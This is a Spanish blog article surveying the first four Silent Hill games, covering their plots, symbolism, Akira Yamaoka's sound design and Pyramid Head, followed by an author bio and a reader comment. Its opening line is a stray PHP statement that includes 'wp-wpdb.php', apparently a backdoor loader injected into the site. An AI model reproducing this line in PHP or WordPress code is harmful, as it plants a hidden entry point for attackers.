if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Silent Hill: Disipando la niebla (Parte I) – La Fortaleza de LeChuck

Silent Hill: Disipando la niebla (Parte I)

Una de las gracias de una saga tan conocida como Silent Hill es su trasfondo. No hablamos solamente de un pueblo maldito, de un survival horror y de bichos a los que matar, o de puzles que resolver… La historia de Silent Hill se remonta a 1999, cuando el equipo original, el Team Silent, creó el que sin duda es uno de los juegos más complejos y profundos que existen. Y es que Silent Hill va más allá de la neblina de sus calles y de esas enfermeras con rostros echos un lío…

En este conjunto de dos artículos vamos a proyectarnos a través de los muros y las rejas del pueblo fantasma. Comentaremos título por título, sí, pero centrándonos sobre todo en las curiosidades, anécdotas y, lo más importante, los elementos simbólicos que han pululado por toda la saga y que, más o menos, se han ido respetando a lo largo de la misma. Porque análisis de todos los juegos los habréis leído por todas partes; sólo tenéis que googlear un poco para ello. Pero un artículo que os diga toda la verdad sobre Silent Hill… Eso es otra historia. Y aquí lo tenéis.

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Toda gran historia tiene un principio, como se suele decir, y la de Silent Hill comienza con un hombre, Harry Mason, que lleva de viaje a su hija Cheryl. El trayecto en coche se torna una pesadilla cuando el buen señor cree atropellar una figura en la carretera, y tiene un accidente. Cuando despierta, su hija, de 8 años de edad y que viajaba a su lado, ya no está. Además, el pueblo donde se ha detenido está envuelto en niebla, y no alcanza a ver nada…, excepto la figura de la pequeña, que parece perderse a lo lejos. Cuando la sigue, todo comienza a oscurecer, mientras se oyen unas sirenas a lo lejos. La única luz que ilumina su entorno es la de un mechero que lleva encima, y decide seguir… Los callejones le llevan a un sitio de pesadilla, donde la sangre y los cadáveres se amontonan por doquier. Unas bestias se abalanzan sobre él y lo hacen caer…

Cuando despierta, Harry está en un bar, en ese pueblo neblinoso llamado Silent Hill, y una agente de policía, Cybill Benett, lo interroga. Parece que están atrapados en ese pueblo: ella no puede pedir refuerzos; él no encuentra a su hija. Es el inicio de una pesadilla que llevará a Harry a lo más profundo de la maldición de ese pueblo fantasma, mientras la historia que rodea a su hija pequeña se vuelve cada vez más y más oscura.

Creo que hay pocas formas de iniciar una saga de una manera tan contundente como ésta. Que a día de hoy, un juego de hace casi 15 años sea capaz de transmitir una atmósfera tan emocionante, y que esto sea gracias a gráficos que a día de hoy consideraríamos de risa, tiene un mérito tremendo. Porque así es Silent Hill: el entorno, la sugestión, la sugerencia, el sonido, el suspense, las metáforas y los símbolos son más importantes que la acción por la acción o los tiros locos. Que sí, que el primer juego podemos ver al bueno de Harry Mason con unas piernas que parecen palitos de helado, y una cara recta y casi sin expresión, pero eso acaba por importar muy poco cuando avanzas por las neblinosas y luego oscuras calles de Silent Hill y la atmósfera te atrapa como una telaraña a una mosca.

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El primer título es, sin lugar a dudas, el más tenebroso de todos los de la saga. Uno de los elementos principales a tener en cuenta es el sonido. Para la época, la primera entrega incluso se quedaba un poco atrás de otro éxito sin precedentes del momento, Resident Evil, que gráficamente era superior. Sin embargo, una vez comenzamos a sumergirnos en el pueblo abandonado, nos damos cuenta de que el sonido es como un personaje más del juego, y eso debemos atribuírselo a uno de los nombres más importantes vinculados a Silent Hill: Akira Yamaoka. Creador de gran parte de las bandas sonoras y efectos de sonido, con este primer título creó un soundtrack que basculaba entre lo clásico y lo experimental, con importantes dosis de sonido industrial y algo de electrónica. Por eso era tan fácil dejarse atrapar por el sonido en Silent Hill: sólo con caminar por las calles neblinosas del pueblo, con un sonido eléctrico de fondo y nuestra radio avisándonos de tanto en cuanto de la presencia de monstruos, éramos conscientes de que nuestra tranquilidad ya era cosa del pasado, y que estábamos en medio de un misterio más grande que nosotros mismos.

Pero Silent Hill no sería lo que es sin los símbolos. Para mí es lo más importante, y uno de los motivos por los que esta saga me atrapó desde el principio. Los japoneses pensaron que la acción no discurriría en una simple línea recta, cuando podría haberlo hecho, sino que la historia trataría los estados de la mente de una niña que fue sometida a un gran sufrimiento. Lo que vamos viendo (la niebla, la oscuridad y luego esa dimensión que es parecida al infierno), son en realidad tres estados emocionales de Alessa, la pequeña que fue ofrecida a un dios maligno en sacrificio. El juego nos muestra su sufrimiento más allá de estos tres estados: sillas de ruedas (donde Alessa quedó confinada tras ser sacrificada), dualidades (su parte buena y mala se representa en algunos monstruos), seres momificados (como ella quedó al final), e incluso sirenas de fondo (las que ella escuchó cuando fue rescatada del incendio que a punto estuvo de acabar con su vida).

El primer Silent Hill es la historia de un dolor sin límites, y de cómo la mente humana permite que ese dolor atrape a más gente en él. Los poderes de Alessa dejan encerrado a Harry Mason y a algunas personas más en el pueblo, de hecho, a las que estuvieron relacionadas con ella en algún momento. Durante el proceso de investigación del juego, iremos sabiendo más cosas del pueblo, pero sobre todo de Alessa y de lo que le ocurrió. Uno de los encantos de Silent Hill consiste en que nos permite acceder a diversos finales en función de lo que hagamos, algo que se ha mantenido en todas las entregas. El primer juego es complicado de entender, incluso comprender por qué hemos hecho un final y no otro, pero conforme ahondas en la saga empiezas a ver las cosas claras.

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Silent Hill 2 supuso una importante y destacable vuelta de tuerca. En realidad se toma el pueblo fantasma como contexto, pero no se ahonda en la historia principal de Alessa. En lugar de eso se sigue la historia de varios personajes, y cómo hacen de Silent Hill su purgatorio personal. De todos ellos, nuestro protagonista, James Sunderland, que viene a Silent Hill en busca de su mujer, que murió hace tres años de una enfermedad, pero que parece haber superado la barrera entre el mundo de los vivos y los muertos al haberle enviado una carta diciéndole que le espera en tan peculiar pueblo, en su «lugar especial». Pronto, el recorrido por saber cómo una muerta puede enviar una carta se transforma para James en una historia cargada de culpa, vergüenza, secretos inconfesables y horror.

Según los fans, y me incluyo, Silent Hill 2 es el mejor título de toda la saga. Es verdad que deja el pueblo en un segundo plano, pero es el título del que más cosas aprendemos sobre el lugar, ahondando profundamente en su historia. Paralelamente, el drama de James y el de las personas que allí encuentra (Ángela, Eddie, Laura…) se mezclarán en una búsqueda que a todos y cada uno de ellos les resulta imposible: la redención. Silent Hill 2 posee una trama con una fuerza dramática impresionante, y aún está más cargada de simbolismo que la primera entrega. No en vano aparece aquí uno de los personajes más emblemáticos de toda la franquicia: Cabeza Pirámide.

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Podría ser el «malo» por excelencia, pero este ser de casco puntiagudo y que arrastra un enorme cuchillo posee la forma de uno de los antiguos ejecutores de Silent Hill, que colgaban boca abajo y ensartaban en picas a los condenados a muerte. Este ser coge la memoria del propio lugar y la combina con la imagen que James tiene de sí mismo, dotándolo de una fuerza y una crueldad inigualables: Cabeza Pirámide es su yo más interno, su parte maligna, todo su dolor y su sufrimiento que arrastra un pesado instrumento de mutilación para torturarlo. De igual forma, está ahí para exterminar todo lo que pueda significar algo para James. Si os fijáis bien, ninguno de los monstruos de Silent Hill 2 posee forma masculina excepto Cabeza Pirámide. Y es que James, en su subconsciente, también reprime su deseo sexual a causa del drama con su mujer. Éste y otros misterios, que se mezclan con las historias de los demás personajes (el caso de Ángela y su padre, el drama de Eddie con las armas, o la búsqueda incesante de la pequeña Laura) es lo que convierte a Silent Hill 2 en una obra maestra.

Silent Hill 3 siguió a éste último sólo en el número, no así en la trama. Yo siempre he creído que el 3 no dejaba de ser un remake del primer juego, actualizado y puesto al día, ya que argumentalmente continuaba con la historia original que dio vida a la saga, el drama de Alessa, al tiempo que revisitaba algunos escenarios de la primera entrega, e incluso de la segunda. Esto podría suponer una repetición, pero nada más lejos de la realidad: esa vuelta a los orígenes supone esclarecer lo que veníamos a averiguar, el verdadero misterio del pueblo fantasma, y continuar con lo que se explicó en el primer juego, sin que el segundo tenga peso en la trama general. Tras el éxito del segundo título, el tercero fue también muy bien acogido, pero se notaba el contraste argumental entre los 3 juegos, lo que para los fans no supuso tanto trauma. En realidad, la tercera entrega es una de las más terroríficas visualmente, conservando, por suerte, todo el horror sugerente, el sonido ambiental, la música y la tortura psicológica de los juegos previos. También teníamos a la primera (y única) protagonista femenina de la saga, Heather, que rebela como un personaje que se deja llevar por las circunstancias, si bien tiene mucho que decir en la trama general del juego.

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Nuevos monstruos, localizaciones nuevas, y una trama continuista respecto al primer título que da respuesta a algunas preguntas de interés de la trama principal. Un gran trabajo que, para desgracia de algunos, cayó unos cuantos números cuando se presentó Silent Hill 4: The Room, un proyecto iniciado junto a Silent Hill 2 y que nos mostraba un modo de juego totalmente distinto a lo visto hasta el momento. De hecho, es el primer Silent Hill que se atrevió con el modo en primera persona, mientras la gran mayoría del juego discurría en la ya acostumbrada tercera persona. Además, dejaba a un lado algunas rutinas clásicas como el uso de tónicos o botiquines, la posibilidad de llevar infinitos ítems, e incluía nuevas, como la aparición de espectros y fantasmas, así como una mayor presencia de símbolos mágicos.

¿La trama? Un tipo corriente, Henry Townsend, se encuentra un día atrapado en su propio apartamento. Unas cadenas impiden que salga, pero al parecer tampoco le oyen si hace ruido o intenta pedir ayuda. De repente, un agujero misterioso se abre en el baño. Gracias a eso, Henry puede ir entrando y saliendo de su apartamento, aunque no sea exactamente al exterior que él conoce. Mientras, unas extrañas fuerzas empiezan a adueñarse del pequeño piso, mientras la sombra del pueblo fantasma, y de un extraño enemigo, pululan por allí como un alma en pena.

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De los cuatro primeros Silent Hill, que a mi modo de ver cierran un ciclo, como os explicaré después, esta cuarta entrega es la más original y una de las más controvertidas. Original por el propio desarrollo del juego, que emplea no sólo esa rara combinación de primera y tercera persona, sino la impresión de, en ocasiones, estar ante una aventura gráfica en toda regla; y controvertida porque es precisamente ese salto hacia otros modos de juego lo que la hizo ganar tantos adeptos como detractores. Para mí es una de los títulos más arriesgados e innovadores, aunque la primera en exhibir los primeros síntomas de falta de identidad de la saga, con escenarios y enemigos que sólo se repiten por encajar en el universo de Silent Hill. Se pierde parte del simbolismo y se intenta introducir de manera algo forzada la historia que se explica en los demás Silent Hill. El resultado es un juego ciertamente original, en algunos puntos deslucido, pero un intento arriesgado que, en muchas ocasiones también, nos deja instantes memorables. Y con unas canciones cantadas impresionantes.

Aquí acaba este primer artículo sobre el universo de Silent Hill, coincidiendo con el fin de ciclo del que antes hablaba. En el próximo artículo os hablaré sobre los nuevos títulos de la saga, y su influencia final en ésta.

Por Ivan

Siendo un culo inquieto tecnológicamente hablando desde que tengo uso razón, me he movido entre ordenadores, videojuegos, gadgets y elementos digitales. Toda esa energía la he acabado transmitiendo en diversas obras, entre las que destacaría mi blog HyperNET

6 comentarios

  1. Me gusta Resident Evil pero mi saga favorita siempre será Silent Hill, cierto el 1 es el mejor en cuanto al factor terror y el 2 es el mejor en cuanto a drama e historia. He jugado a casi todos los Shs y ninguno es malo solo uno mejores que otros. Pero dificilmente habrá uno que llegue a impactar como el 1 o el 2

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